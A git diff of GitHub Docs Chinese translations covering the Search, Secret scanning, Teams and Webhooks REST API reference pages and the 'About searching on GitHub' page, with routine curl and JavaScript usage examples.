-The Search API helps you search for the specific item you want to find. For example, you can find a user or a specific file in a repository. Think of it the way you think of performing a search on Google. It's designed to help you find the one result you're looking for (or maybe the few results you're looking for). Just like searching on Google, you sometimes want to see a few pages of search results so that you can find the item that best meets your needs. To satisfy that need, the {% data variables.product.product_name %} Search API provides **up to 1,000 results for each search**.
+搜索 API 可帮助您搜索要查找的特定条目。 例如，您可以在仓库中找到用户或特定文件。 就像您在 Google 上执行搜索一样。 它旨在帮助您找到要查找的一个或几个结果。 就像在 Google 上搜索一样，有时您希望查看几页搜索结果，以便找到最能满足您需求的条目。 为了满足这一需求， {% data variables.product.product_name %} 搜索 API **为每个搜索提供最多 1,000 个结果**。
 
-You can narrow your search using queries. To learn more about the search query syntax, see "[Constructing a search query](/rest/reference/search#constructing-a-search-query)."
+您可以使用查询缩小搜索范围。 要了解有关搜索查询语法的更多信息，请查看“[构建搜索查询](/rest/reference/search#constructing-a-search-query)”。
 
-### Ranking search results
+### 排列搜索结果
 
-Unless another sort option is provided as a query parameter, results are sorted by best match in descending order. Multiple factors are combined to boost the most relevant item to the top of the result list.
+除非提供另一个排序选项作为查询参数，否则将按照最佳匹配的原则对结果进行降序排列。 多种因素相结合，将最相关的条目顶到结果列表的顶部。
 
-### Rate limit
+### 速率限制
 
-The Search API has a custom rate limit. For requests using [Basic
-Authentication](/rest#authentication), [OAuth](/rest#authentication), or [client
-ID and secret](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications), you can make up to
-30 requests per minute. For unauthenticated requests, the rate limit allows you
-to make up to 10 requests per minute.
+搜索 API 有自定义速率限制。 对于使用[基本身份验证](/rest#authentication)、[OAuth](/rest#authentication) 或[客户端 ID 和密码](/rest#increasing-the-unauthenticated-rate-limit-for-oauth-applications)的请求，您每分钟最多可以提出 30 个请求。 对于未经身份验证的请求，速率限制允许您每分钟最多提出 10 个请求。
 
 {% data reusables.enterprise.rate_limit %}
 
-See the [rate limit documentation](/rest/reference/rate-limit) for details on
-determining your current rate limit status.
+请参阅[速率限制文档](/rest/reference/rate-limit)，以详细了解如何确定您的当前速率限制状态。
 
-### Constructing a search query
+### 构造搜索查询
 
-Each endpoint in the Search API uses [query parameters](https://en.wikipedia.org/wiki/Query_string) to perform searches on {% data variables.product.product_name %}. See the individual endpoint in the Search API for an example that includes the endpoint and query parameters.
+搜索 API 中的每个端点都使用[查询参数](https://en.wikipedia.org/wiki/Query_string)对 {% data variables.product.product_name %} 进行搜索。 有关包含端点和查询参数的示例，请参阅搜索 API 中的各个端点。
 
-A query can contain any combination of search qualifiers supported on {% data variables.product.product_name %}. The format of the search query is:
+查询可以包含在 {% data variables.product.product_name %} 上支持的搜索限定符的任意组合中。 搜索查询的格式为：
 
 ```
 SEARCH_KEYWORD_1 SEARCH_KEYWORD_N QUALIFIER_1 QUALIFIER_N
 ```
 
-For example, if you wanted to search for all _repositories_ owned by `defunkt` that
-contained the word `GitHub` and `Octocat` in the README file, you would use the
-following query with the _search repositories_ endpoint:
+例如，如果您要搜索 `defunkt` 拥有的在自述文件中包含单词 `GitHub` 和 `Octocat` 的所有_仓库_，您可以在_搜索仓库_端点中使用以下查询：
 
 ```
 GitHub Octocat in:readme user:defunkt
 ```
 
-**Note:** Be sure to use your language's preferred HTML-encoder to construct your query strings. For example:
+**注意：** 请务必使用语言的首选 HTML 编码器构造查询字符串。 例如：
 ```javascript
 // JavaScript
 const queryString = 'q=' + encodeURIComponent('GitHub Octocat in:readme user:defunkt');
 ```
 
-See "[Searching on GitHub](/search-github/searching-on-github)"
-for a complete list of available qualifiers, their format, and an example of
-how to use them. For information about how to use operators to match specific
-quantities, dates, or to exclude results, see "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)."
+See "[Searching on GitHub](/search-github/searching-on-github)" for a complete list of available qualifiers, their format, and an example of how to use them. 有关如何使用运算符匹配特定数量、日期或排除结果，请参阅“[了解搜索语法](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax/)”。
 
-### Limitations on query length
+### 查询长度限制
 
-The Search API does not support queries that:
-- are longer than 256 characters (not including operators or qualifiers).
-- have more than five `AND`, `OR`, or `NOT` operators.
+搜索 API 不支持以下查询：
+- 超过 256 个字符（不包括运算符或限定符）。
+- 超过五个 `AND`、`OR` 或 `NOT` 运算符。
 
-These search queries will return a "Validation failed" error message.
+这些搜索查询将返回“验证失败”错误消息。
 
-### Timeouts and incomplete results
+### 超时和不完整的结果
 
-To keep the Search API fast for everyone, we limit how long any individual query
-can run. For queries that [exceed the time limit](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/),
-the API returns the matches that were already found prior to the timeout, and
-the response has the `incomplete_results` property set to `true`.
+为了让所有人都能快速使用搜索 API，我们限制任何单个查询能够运行的时长。 对于[超出时间限制](https://developer.github.com/changes/2014-04-07-understanding-search-results-and-potential-timeouts/)的查询，API 将返回在超时之前已找到的匹配项，并且响应的 `incomplete_results` 属性设为 `true`。
 
-Reaching a timeout does not necessarily mean that search results are incomplete.
-More results might have been found, but also might not.
+达到超时并不意味着搜索结果不完整， 可能已找到更多结果，也可能没有找到。
 
-### Access errors or missing search results
+### 访问错误或缺少搜索结果
 
-You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. For example, your search will fail if your query includes `repo:`, `user:`, or `org:` qualifiers that request resources that you don't have access to when you sign in on {% data variables.product.prodname_dotcom %}.
+You need to successfully authenticate and have access to the repositories in your search queries, otherwise, you'll see a `422 Unprocessable Entry` error with a "Validation Failed" message. 例如，如果您的查询中包含 `repo:`、`user:` 或 `org:` 限定符，但它们请求的资源是您登录 {% data variables.product.prodname_dotcom %} 后无权访问的资源，则搜索将失败。
 
-When your search query requests multiple resources, the response will only contain the resources that you have access to and will **not** provide an error message listing the resources that were not returned.
+当您的搜索查询请求多个资源时，响应将只包含您有权访问的资源，并且**不会**提供列出未返回资源的错误消息。
 
-For example, if your search query searches for the `octocat/test` and `codertocat/test` repositories, but you only have access to `octocat/test`, your response will show search results for `octocat/test` and nothing for `codertocat/test`. This behavior mimics how search works on {% data variables.product.prodname_dotcom %}.
+例如，如果您的搜索查询要搜索 `octocat/test` 和 `codertocat/test` 仓库，但您只拥有对 `octocat/test` 的访问权限，则您的响应将显示对 `octocat/test` 的搜索结果，而不会显示对 `codertocat/test` 的搜索结果。 此行为类似于 {% data variables.product.prodname_dotcom %} 上的搜索方式。
 
 {% include rest_operations_at_current_path %}
 
 
-### Text match metadata
+### 文本匹配元数据
 
-On GitHub, you can use the context provided by code snippets and highlights in search results. The Search API offers additional metadata that allows you to highlight the matching search terms when displaying search results.
+在 GitHub 上，您可以使用搜索结果中的代码段和高亮显示提供的上下文。 搜索 API 提供额外的元数据，允许您在显示搜索结果时高亮显示匹配搜索词。
 
-![code-snippet-highlighting](/assets/images/text-match-search-api.png)
+![代码片段高亮显示](/assets/images/text-match-search-api.png)
 
-Requests can opt to receive those text fragments in the response, and every fragment is accompanied by numeric offsets identifying the exact location of each matching search term.
+请求可以选择在响应中接收这些文本片段，并且每个片段都附带数字偏移，以标识每个匹配搜索词的确切位置。
 
-To get this metadata in your search results, specify the `text-match` media type in your `Accept` header.
+要在搜索结果中获取这种元数据，请在 `Accept` 标头中指定 `text-match` 媒体类型。
 
 ```shell
 application/vnd.github.v3.text-match+json
 ```
 
-When you provide the `text-match` media type, you will receive an extra key in the JSON payload called `text_matches` that provides information about the position of your search terms within the text and the `property` that includes the search term. Inside the `text_matches` array, each object includes
-the following attributes:
+提供 `text-match` 媒体类型时，您将在 JSON 有效负载中收到一个额外的键，名为 `text_matches`，它提供有关搜索词在文本中的位置以及包含该搜索词的 `property` 的信息。 在 `text_matches` 数组中，每个对象包含以下属性：
 
-Name | Description
------|-----------|
-`object_url` | The URL for the resource that contains a string property matching one of the search terms.
-`object_type` | The name for the type of resource that exists at the given `object_url`.
-`property` | The name of a property of the resource that exists at `object_url`. That property is a string that matches one of the search terms. (In the JSON returned from `object_url`, the full content for the `fragment` will be found in the property with this name.)
-`fragment` | A subset of the value of `property`. This is the text fragment that matches one or more of the search terms.
-`matches` | An array of one or more search terms that are present in `fragment`. The indices (i.e., "offsets") are relative to the fragment. (They are not relative to the _full_ content of `property`.)
+| 名称            | 描述                                                                                                       |
+| ------------- | -------------------------------------------------------------------------------------------------------- |
+| `object_url`  | 包含匹配某个搜索词的字符串属性的资源 URL。                                                                                  |
+| `object_type` | 在给定 `object_url` 中存在的资源类型的名称。                                                                            |
+| `属性`          | 在 `object_url` 中存在的资源属性的名称。 属性是与某个搜索词相匹配的字符串。 （在从 `object_url` 返回的 JSON 中，`fragment` 的完整内容存在于具有此名称的属性中。） |
+| `分段`          | `property` 值的子集。 这是与一个或多个搜索词匹配的文本片段。                                                                     |
+| `matches`     | 存在于 `fragment` 中的一个或多个搜索词的数组。 索引（即“偏移量”）与片段相关。 （它们与 `property` 的_完整_内容无关。）                               |
 
-#### Example
+#### 示例
 
-Using cURL, and the [example issue search](#search-issues-and-pull-requests) above, our API
-request would look like this:
+使用 cURL 和上面的[示例议题搜索](#search-issues-and-pull-requests)时，我们的 API 请求如下所示：
 
 ``` shell
 curl -H 'Accept: application/vnd.github.v3.text-match+json' \
 '{% data variables.product.api_url_pre %}/search/issues?q=windows+label:bug+language:python+state:open&sort=created&order=asc'
 ```
 
-The response will include a `text_matches` array for each search result. In the JSON below, we have two objects in the `text_matches` array.
+对于每个搜索结果，响应将包含一个 `text_matches` 数组。 在下面的 JSON 中，我们在 `text_matches` 数组中有两个对象。
 
-The first text match occurred in the `body` property of the issue. We see a fragment of text from the issue body. The search term (`windows`) appears twice within that fragment, and we have the indices for each occurrence.
+第一个文本匹配出现在议题的 `body` 属性中。 我们从议题正文中看到了文本片段。 搜索词 (`windows`) 在该片段中出现了两次，我们有每次出现时的索引。
 
-The second text match occurred in the `body` property of one of the issue's comments. We have the URL for the issue comment. And of course, we see a fragment of text from the comment body. The search term (`windows`) appears once within that fragment.
+第二个文本匹配出现在其中一个议题注释的 `body` 属性中。 我们有议题注释的 URL。 当然，我们从注释正文中看到了文本片段。 搜索词 (`windows`) 在该片段中出现了一次。
 
 ```json
 {
diff --git a/translations/zh-CN/content/rest/reference/secret-scanning.md b/translations/zh-CN/content/rest/reference/secret-scanning.md
index 2cb0e7cdf5..9b6d8e4209 100644
--- a/translations/zh-CN/content/rest/reference/secret-scanning.md
+++ b/translations/zh-CN/content/rest/reference/secret-scanning.md
@@ -1,6 +1,6 @@
 ---
-title: Secret scanning
-intro: 'To retrieve and update the secret alerts from a private repository, you can use Secret Scanning API.'
+title: 秘密扫描
+intro: 要检索和更新来自私有仓库的秘密警报，您可以使用秘密扫描 API。
 versions:
   fpt: '*'
   ghes: '>=3.1'
@@ -17,6 +17,6 @@ The {% data variables.product.prodname_secret_scanning %} API lets you{% ifversi
 - Retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository. For futher details, see the sections below.
 {%- else %} retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository.{% endif %}
 
-For more information about {% data variables.product.prodname_secret_scanning %}, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)."
+有关 {% data variables.product.prodname_secret_scanning %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)”。
 
 {% include rest_operations_at_current_path %}
diff --git a/translations/zh-CN/content/rest/reference/teams.md b/translations/zh-CN/content/rest/reference/teams.md
index 2e05e37ba8..612eac25f1 100644
--- a/translations/zh-CN/content/rest/reference/teams.md
+++ b/translations/zh-CN/content/rest/reference/teams.md
@@ -1,6 +1,6 @@
 ---
-title: Teams
-intro: 'With the Teams API, you can create and manage teams in your {% data variables.product.product_name %} organization.'
+title: 团队
+intro: '通过团队 API，您可以在您的 {% data variables.product.product_name %} 组织中创建和管理团队。'
 redirect_from:
   - /v3/teams
 versions:
@@ -13,36 +13,36 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-This API is only available to authenticated members of the team's [organization](/rest/reference/orgs). OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% data variables.product.prodname_dotcom %}  generates the team's `slug` from the team `name`.
+此 API 仅适用于团队[组织](/rest/reference/orgs)中经过身份验证的成员。 OAuth 访问令牌需要 `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)。 {% data variables.product.prodname_dotcom %}  从团队 `name` 生成团队的 `slug`。
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Discussions
+## 讨论
 
-The team discussions API allows you to get, create, edit, and delete discussion posts on a team's page. You can use team discussions to have conversations that are not specific to a repository or project. Any member of the team's [organization](/rest/reference/orgs) can create and read public discussion posts. For more details, see "[About team discussions](//organizations/collaborating-with-your-team/about-team-discussions/)." To learn more about commenting on a discussion post, see the [team discussion comments API](/rest/reference/teams#discussion-comments). This API is only available to authenticated members of the team's organization.
+团队讨论 API 允许您获取、创建、编辑和删除团队页面上的讨论帖子。 您可以使用团队讨论进行不特定于存储库或项目的对话。 团队[组织](/rest/reference/orgs)的任何成员都可以创建和阅读公共讨论帖子。 更多信息请参阅“[关于团队讨论](//organizations/collaborating-with-your-team/about-team-discussions/)”。 要详细了解对讨论帖子的评论，请参阅[团队讨论评论 API](/rest/reference/teams#discussion-comments)。 此 API 仅适用于团队组织中经过身份验证的成员。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'discussions' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Discussion comments
+## 讨论评论
 
-The team discussion comments API allows you to get, create, edit, and delete discussion comments on a [team discussion](/rest/reference/teams#discussions) post. Any member of the team's [organization](/rest/reference/orgs) can create and read comments on a public discussion. For more details, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions/)." This API is only available to authenticated members of the team's organization.
+团队讨论评论 API 允许您在[团队讨论](/rest/reference/teams#discussions)帖子上获取、 创建、编辑和删除讨论评论。 团队[组织](/rest/reference/orgs)的任何成员都可以创建和阅读公共讨论上的评论。 更多信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions/)”。 此 API 仅适用于团队组织中经过身份验证的成员。
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'discussion-comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Members
+## 成员
 
-This API is only available to authenticated members of the team's organization. OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/).
+此 API 仅适用于团队组织中经过身份验证的成员。 OAuth 访问令牌需要 `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/)。
 
 {% ifversion fpt or ghes or ghec %}
 {% note %}
 
-**Note:** When you have team synchronization set up for a team with your organization's identity provider (IdP), you will see an error if you attempt to use the API for making changes to the team's membership. If you have access to manage group membership in your IdP, you can manage GitHub team membership through your identity provider, which automatically adds and removes team members in an organization. For more information, see "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Synchronizing teams between your identity provider and GitHub</a>."
+**注：**当您为具有组织身份提供程序 (IdP) 的团队设置了团队同步时，如果尝试使用 API 更改团队的成员身份，则会看到错误。 如果您有权访问 IdP 中的组成员身份，可以通过身份提供程序管理 GitHub 团队成员身份，该提供程序会自动添加和删除组织的成员。 更多信息请参阅“<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">在身份提供程序与 GitHub 之间同步团队</a>”。
 
 {% endnote %}
 
@@ -57,12 +57,12 @@ This API is only available to authenticated members of the team's organization.
 
 The external groups API allows you to view the external identity provider groups that are available to your organization and manage the connection between external groups and teams in your organization.
 
-To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team.
+要使用此 API，经过身份验证的用户必须是团队维护员或与团队关联的组织的所有者。
 
 {% ifversion ghec %}
 {% note %}
 
-**Notes:** 
+**注意：**
 
 - The external groups API is only available for organizations that are part of a enterprise using {% data variables.product.prodname_emus %}. For more information, see "[About Enterprise Managed Users](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
 - If your organization uses team synchronization, you can use the Team Synchronization API. For more information, see "[Team synchronization API](#team-synchronization)."
@@ -77,15 +77,15 @@ To use this API, the authenticated user must be a team maintainer or an owner of
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-## Team synchronization
+## 团队同步
 
-The Team Synchronization API allows you to manage connections between {% data variables.product.product_name %} teams and external identity provider (IdP) groups. To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see "<a href="/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on" class="dotcom-only">Authorizing a personal access token for use with a SAML single sign-on organization</a>."
+团队同步 API 允许您管理 {% data variables.product.product_name %} 团队与外部身份提供程序 (IdP) 组之间的连接。 要使用此 API，经过身份验证的用户必须是团队维护员或与团队关联的组织的所有者。 用于身份验证的令牌还需要获得授权才能与 IdP (SSO) 提供程序一起使用。 更多信息请参阅“<a href="/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on" class="dotcom-only">授权个人访问令牌用于 SAML 单点登录组织</a>”。
 
-You can manage GitHub team members through your IdP with team synchronization. Team synchronization must be enabled to use the Team Synchronization API. For more information, see "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Synchronizing teams between your identity provider and GitHub</a>."
+您可以通过 IdP 通过团队同步管理 GitHub 团队成员。 必须启用团队同步才能使用团队同步 API。 更多信息请参阅“<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">在身份提供程序与 GitHub 之间同步团队</a>”。
 
 {% note %}
 
-**Note:** The Team Synchronization API cannot be used with {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.product.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)".
+**注意：** 团队同步 API 不能与 {% data variables.product.prodname_emus %} 一起使用。 To learn more about managing an {% data variables.product.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)".
 
 {% endnote %}
 
diff --git a/translations/zh-CN/content/rest/reference/webhooks.md b/translations/zh-CN/content/rest/reference/webhooks.md
index c9908012c1..d72146d8e5 100644
--- a/translations/zh-CN/content/rest/reference/webhooks.md
+++ b/translations/zh-CN/content/rest/reference/webhooks.md
@@ -1,6 +1,6 @@
 ---
-title: Webhooks
-intro: 'The webhooks API allows you to create and manage webhooks for your repositories.'
+title: Web 挂钩
+intro: The webhooks API allows you to create and manage webhooks for your repositories.
 allowTitleToDifferFromFilename: true
 versions:
   fpt: '*'
@@ -12,50 +12,67 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-Repository webhooks allow you to receive HTTP `POST` payloads whenever certain events happen in a repository. {% data reusables.webhooks.webhooks-rest-api-links %}
+仓库 web 挂钩允许您在仓库内发生特定事件时接收 HTTP `POST` 有效负载。 {% data reusables.webhooks.webhooks-rest-api-links %}
 
-If you would like to set up a single webhook to receive events from all of your organization's repositories, see our API documentation for [Organization Webhooks](/rest/reference/orgs#webhooks).
+如果您要设置一个 web 挂钩来接收来自组织所有仓库的事件，请参阅关于[组织 web 挂钩](/rest/reference/orgs#webhooks)的 API 文档。
 
-In addition to the REST API, {% data variables.product.prodname_dotcom %} can also serve as a [PubSubHubbub](#pubsubhubbub) hub for repositories.
+除了 REST API 之外， {% data variables.product.prodname_dotcom %} 还可以作为仓库的 [PubSubHubbub](#pubsubhubbub) 枢纽。
 
 {% for operation in currentRestOperations %}
-  {% if operation.subcategory == 'webhooks' %}{% include rest_operation %}{% endif %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-### Receiving Webhooks
+## 仓库 web 挂钩
 
-In order for {% data variables.product.product_name %} to send webhook payloads, your server needs to be accessible from the Internet. We also highly suggest using SSL so that we can send encrypted payloads over HTTPS.
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repos' %}{% include rest_operation %}{% endif %}
+{% endfor %}
 
-#### Webhook headers
+## Repository webhook configuration
 
-{% data variables.product.product_name %} will send along several HTTP headers to differentiate between event types and payload identifiers. See [webhook headers](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers) for details.
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repo-config' %}{% include rest_operation %}{% endif %}
+{% endfor %}
 
-### PubSubHubbub
+## Repository webhook deliveries
 
-GitHub can also serve as a [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) hub for all repositories. PSHB is a simple publish/subscribe protocol that lets servers register to receive updates when a topic is updated. The updates are sent with an HTTP POST request to a callback URL.
-Topic URLs for a GitHub repository's pushes are in this format:
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repo-deliveries' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## 接收 web 挂钩
+
+为了让 {% data variables.product.product_name %} 发送 web 挂钩有效负载，您的服务器需要能够从 Internet 访问。 我们还强烈建议使用 SSL，以便我们可以通过 HTTPS 发送加密的有效负载。
+
+### Web 挂钩标头
+
+{% data variables.product.product_name %} 发送时将附带几个 HTTP 标头，以区分事件类型和有效负载标识符。 更多信息请参阅 [web 挂钩标头](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers)。
+
+## PubSubHubbub
+
+GitHub 还可以作为所有仓库的 [PubSubHubbabub](https://github.com/pubsubhubbub/PubSubHubbub) 枢纽。 PSHB 是一个简单的发布/订阅协议，允许服务器注册在主题更新时接收更新。 这些更新随 HTTP POST 请求一起发送到回调 URL。 GitHub 仓库推送的主题 URL 采用以下格式：
 
 `https://github.com/{owner}/{repo}/events/{event}`
 
-The event can be any available webhook event. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)."
+事件可以是任何可用的 web 挂钩事件。 更多信息请参阅“[web 挂钩事件和有效负载](/developers/webhooks-and-events/webhook-events-and-payloads)”。
 
-#### Response format
+### 响应格式
 
-The default format is what [existing post-receive hooks should expect](/post-receive-hooks/): A JSON body sent as the `payload` parameter in a POST.  You can also specify to receive the raw JSON body with either an `Accept` header, or a `.json` extension.
+默认格式为[现有接收后挂钩应具有的格式](/post-receive-hooks/)：作为 POST 中的 `payload` 参数发送的 JSON 正文。  您还可以指定接收带有 `Accept` 标头或 `.json` 扩展名的原始 JSON 正文。
 
     Accept: application/json
     https://github.com/{owner}/{repo}/events/push.json
 
-#### Callback URLs
+### 回调 URL
 
-Callback URLs can use the `http://` protocol.
+回调 URL 可以使用 `http://` 协议。
 
     # Send updates to postbin.org
     http://postbin.org/123
 
-#### Subscribing
+### 订阅
 
-The GitHub PubSubHubbub endpoint is: `{% data variables.product.api_url_code %}/hub`. A successful request with curl looks like:
+GitHub PubSubHubbub 端点为：`{% data variables.product.api_url_code %}/hub`。 使用 cURL 的成功请求如下所示：
 
 ``` shell
 curl -u "user" -i \
@@ -65,13 +82,13 @@ curl -u "user" -i \
   -F "hub.callback=http://postbin.org/123"
 ```
 
-PubSubHubbub requests can be sent multiple times. If the hook already exists, it will be modified according to the request.
+PubSubHubbub 请求可以多次发送。 如果挂钩已经存在，它将根据请求进行修改。
 
-##### Parameters
+#### 参数
 
-Name | Type | Description
------|------|--------------
-``hub.mode``|`string` | **Required**. Either `subscribe` or `unsubscribe`.
-``hub.topic``|`string` |**Required**.  The URI of the GitHub repository to subscribe to.  The path must be in the format of `/{owner}/{repo}/events/{event}`.
-``hub.callback``|`string` | The URI to receive the updates to the topic.
-``hub.secret``|`string` | A shared secret key that generates a hash signature of the outgoing body content.  You can verify a push came from GitHub by comparing the raw request body with the contents of the {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` or `X-Hub-Signature-256` headers{% elsif ghes < 3.0 %}`X-Hub-Signature` header{% elsif ghae %}`X-Hub-Signature-256` header{% endif %}. You can see [the PubSubHubbub documentation](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify) for more details.
+| 名称             | 类型    | 描述                                                                                                                                                                                                                                                                                                                                                               |
+| -------------- | ----- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `hub.mode`     | `字符串` | **必填**。 值为 `subscribe` 或 `unsubscribe`。                                                                                                                                                                                                                                                                                                                          |
+| `hub.topic`    | `字符串` | **必填**。  要订阅的 GitHub 仓库的 URI。  路径格式必须为 `/{owner}/{repo}/events/{event}`。                                                                                                                                                                                                                                                                                         |
+| `hub.callback` | `字符串` | 要接收主题更新的 URI。                                                                                                                                                                                                                                                                                                                                                    |
+| `hub.secret`   | `字符串` | 用于生成传出正文内容的哈希签名的共享密钥。  您可以通过比较原始请求正文与 {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` 或 `X-Hub-Signature-256` 标头{% elsif ghes < 3.0 %}`X-Hub-Signature` 标头{% elsif ghae %}`X-Hub-Signature-256` 标头{% endif %} 的内容来验证来自 GitHub 的推送。 您可以查看 [PubSubHubbub 文档](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify)了解详情。 |
diff --git a/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md b/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
index 74e1a19074..1e9376f75f 100644
--- a/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
+++ b/translations/zh-CN/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: About searching on GitHub
-intro: 'Our integrated search covers the many repositories, users, and lines of code on {% data variables.product.product_name %}.'
+title: 关于在 GitHub 上搜索
+intro: '我们的集成搜索涵盖了 {% data variables.product.product_name %} 上的许多仓库、用户和代码行。'
 redirect_from:
   - /articles/using-the-command-bar
   - /articles/github-search-basics
@@ -18,54 +18,55 @@ versions:
 topics:
   - GitHub search
 ---
+
 {% data reusables.search.you-can-search-globally %}
 
-- To search globally across all of {% data variables.product.product_name %}, type what you're looking for into the search field at the top of any page, and choose "All {% data variables.product.prodname_dotcom %}" in the search drop-down menu.
-- To search within a particular repository or organization, navigate to the repository or organization page, type what you're looking for into the search field at the top of the page, and press **Enter**.
+- 要全局搜索所有 {% data variables.product.product_name %}，请在页面顶部的搜索字段中输入您要查找的内容，然后在搜索下拉菜单中选择“所有{% data variables.product.prodname_dotcom %}”。
+- 要在特定仓库或组织中搜索，请导航到该仓库或组织页面，在页面顶部的搜索字段中输入要查找的内容，然后按 **Enter**。
 
 {% note %}
 
-**Notes:**
+**注意：**
 
 {% ifversion fpt or ghes or ghec %}
 - {% data reusables.search.required_login %}{% endif %}
-- {% data variables.product.prodname_pages %} sites are not searchable on {% data variables.product.product_name %}. However you can search the source content if it exists in the default branch of a repository, using code search. For more information, see "[Searching code](/search-github/searching-on-github/searching-code)." For more information about {% data variables.product.prodname_pages %}, see "[What is GitHub Pages?](/articles/what-is-github-pages/)"
-- Currently our search doesn't support exact matching.
-- Whenever you are searching in code files, only the first two results in each file will be returned.
+- {% data variables.product.prodname_pages %} 网站在 {% data variables.product.product_name %} 上不可搜索。 但如果源代码内容存在于仓库的默认分支中，您可以使用代码搜索来搜索。 更多信息请参阅“[搜索代码](/search-github/searching-on-github/searching-code)”。 有关 {% data variables.product.prodname_pages %} 的更多信息，请参阅“[什么是 GitHub Pages？ ](/articles/what-is-github-pages/)”
+- 目前我们的搜索不支持精确匹配。
+- 每当您在代码文件中搜索时，将仅返回每个文件中的前两个结果。
 
 {% endnote %}
 
-After running a search on {% data variables.product.product_name %}, you can sort the results, or further refine them by clicking one of the languages in the sidebar. For more information, see "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results)."
+在 {% data variables.product.product_name %} 上搜索后，您可以对结果排序，或者单击侧栏中的任一语言进一步改进搜索。 更多信息请参阅“[对搜索结果排序](/search-github/getting-started-with-searching-on-github/sorting-search-results)”。
 
-{% data variables.product.product_name %} search uses an ElasticSearch cluster to index projects every time a change is pushed to {% data variables.product.product_name %}. Issues and pull requests are indexed when they are created or modified.
+每次推送更改到 {% data variables.product.product_name %} 时，{% data variables.product.product_name %} 搜索都会使用 ElasticSearch 群集对项目编制索引。 议题和拉取请求在创建或修改时都会编制索引。
 
-## Types of searches on {% data variables.product.prodname_dotcom %}
+## {% data variables.product.prodname_dotcom %} 上的搜索类型
 
-You can search for the following information across all repositories you can access on {% data variables.product.product_location %}.
+您可以在 {% data variables.product.product_location %} 上可以访问的所有仓库中搜索以下信息。
 
-- [Repositories](/search-github/searching-on-github/searching-for-repositories)
-- [Topics](/search-github/searching-on-github/searching-topics)
-- [Issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %}
-- [Discussions](/search-github/searching-on-github/searching-discussions){% endif %}
-- [Code](/search-github/searching-on-github/searching-code)
-- [Commits](/search-github/searching-on-github/searching-commits)
-- [Users](/search-github/searching-on-github/searching-users)
+- [仓库](/search-github/searching-on-github/searching-for-repositories)
+- [主题](/search-github/searching-on-github/searching-topics)
+- [议题和拉取请求](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %}
